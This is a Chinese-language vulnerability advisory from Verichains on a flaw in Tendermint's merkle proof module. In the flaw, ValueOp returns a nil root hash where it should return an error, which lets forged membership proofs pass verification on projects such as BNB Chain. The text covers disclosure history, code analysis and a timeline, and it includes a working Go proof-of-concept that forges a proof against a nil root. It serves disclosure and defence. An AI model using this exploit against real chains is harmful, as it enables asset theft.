該公告強調了 Verichains 在 Tendermint 庫中發現的一個嚴重漏洞,該漏洞可能使攻擊者能夠從使用其 IAVL 證明驗證的項目中竊取資產,例如BNB Chain,可能造成重大財務損失。
我們在 2022 年 10 月上旬私下向 Tendermint/Cosmos 維護者披露了這個問題。雖然 Tendermint/Cosmos 維護者承認存在漏洞,但他們選擇不在 Tendermint 庫中發布補丁,因為 IBC 和 Cosmos-SDK 實現已經遷移到 ICS- 23 來自 IAVL 默克爾證明驗證。
我們認為,即使它不影響 Cosmos/IBC 鏈的最新實現,但應該在 Tendermint 庫中修復該錯誤,因為它正在被其他項目使用,例如BNB Chain。如果易受攻擊的代碼已過時,則應將其從 Tendermint 庫中刪除。
為確保 Tendermint 庫用戶了解該問題並加以解決,我們決定在遵循我們的漏洞披露政策等待 120 天后向公眾發布此公告。我們敦促所有使用 Tendermint 的 IAVL 證明驗證的項目採取必要措施來保護其資產並降低被利用的風險。
概括
Tendermint 的核心庫 ( https://github.com/tendermint/tendermint/ ) 包含一個名為 `merkle` 的專用模塊,用於處理 Merkle 證明。它的證明運算符“ValueOp”在驗證鍵值對輸入後,返回一個零根哈希,而不是在意外情況下引發錯誤(例如,樹的節點數為負數)。
因此,如果空 Merkle 樹的根哈希被聲明為 nil(很可能發生,因為 nil 是 Golang 中未初始化字節片的默認值),攻擊者可以偽造任意鍵值對的成員資格證明。
分析
證明運算符 ValueOp 在 (merkle/proof_value.go) 中實現。運行時,它首先對輸入的鍵值對進行哈希處理,然後將哈希結果與它當前執行的證明中的葉哈希進行比較(merkle/proof_value.go,第 92-94 行):
------------------------------------------------------------------------ 77 func (op ValueOp) Run(args [][]byte) ([][]byte, error) { ... 92 if !bytes.Equal(kvhash, op.Proof.LeafHash) { 93 return nil, fmt.Errorf("leaf hash mismatch: want %X got %X", op.Proof.LeafHash, kvhash) 94 }如果此檢查通過,它只返回根據證明計算的根哈希(第 96-98 行):
96 return [][]byte{ 97 op.Proof.ComputeRootHash(), 98 }, nil函數 ComputeRootHash 是 computeHashFromAunts 的包裝器(merkle/proof.go,第 71-78 行):
71 func (sp *Proof) ComputeRootHash() []byte { 72 return computeHashFromAunts( 73 sp.Index, 74 sp.Total, 75 sp.LeafHash, 76 sp.Aunts, 77 ) 78 }並且此函數在捕獲到錯誤時返回一個零字節切片(merkle/proof.go,第 152-154、159-161、164-166、170-172、176-178 行):
151 func computeHashFromAunts(index, total int64, leafHash []byte, innerHashes [][]byte) []byte { 152 if index >= total || index < 0 || total <= 0 { 153 return nil 154 } ... 159 if len(innerHashes) != 0 { 160 return nil 161 } ... 164 if len(innerHashes) == 0 { 165 return nil 166 } ... 170 if leftHash == nil { 171 return nil 172 } ... 176 if rightHash == nil { 177 return nil 178 } ... 181 }結果,錯誤被忽略,並且 ValueOp.Run 返回一個 nil 根哈希和一個 nil 錯誤,表明證明是有效的。
開發
利用是直接的:只需將證明的葉哈希設置為我們選擇的鍵值對的哈希值,並將其他證明參數保留為默認值,以在第一次檢查時觸發 computeHashFromAunts 的 nil 返回(merkle/ proof.go,第 152-154 行)。
這是一個演示攻擊的 PoC:
1 package main 2 3 import ( 4 "bytes" 5 goanimo "github.com/tendermint/go-amino" 6 "github.com/tendermint/tendermint/crypto/merkle" 7 "github.com/tendermint/tendermint/crypto/tmhash" 8 "log" 9 ) 10 11 func main() { 12 // a fake key-value pair and its hash 13 key := []byte{0x13} 14 value := []byte{0x37} 15 vhash := tmhash.Sum(value) 16 bz := new(bytes.Buffer) 17 _ = goanimo.EncodeByteSlice(bz, key) 18 _ = goanimo.EncodeByteSlice(bz, vhash) 19 kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes()...)) 20 21 // the malicious `op` 22 op := merkle.NewValueOp( 23 key, 24 &merkle.Proof{LeafHash: kvhash}, 25 ) 26 27 // the nil root 28 var root []byte 29 30 // should return nil (successfully verified) 31 log.Println(merkle.ProofOperators{op}.Verify(root, "/"+string(key), [][]byte{value})) 32 }受影響的產品
Tendermint(所有版本)
任何其他基於 Tendermint 使用 IAVL 默克爾證明驗證的項目都可能容易受到類似攻擊
時間線
2022 年 10 月 11 日:私下向BNB團隊報告
2022 年 10 月 12 日:私下向 Tendermint / Cosmos 維護者報告
2023 年 2 月 28 日:公開發布





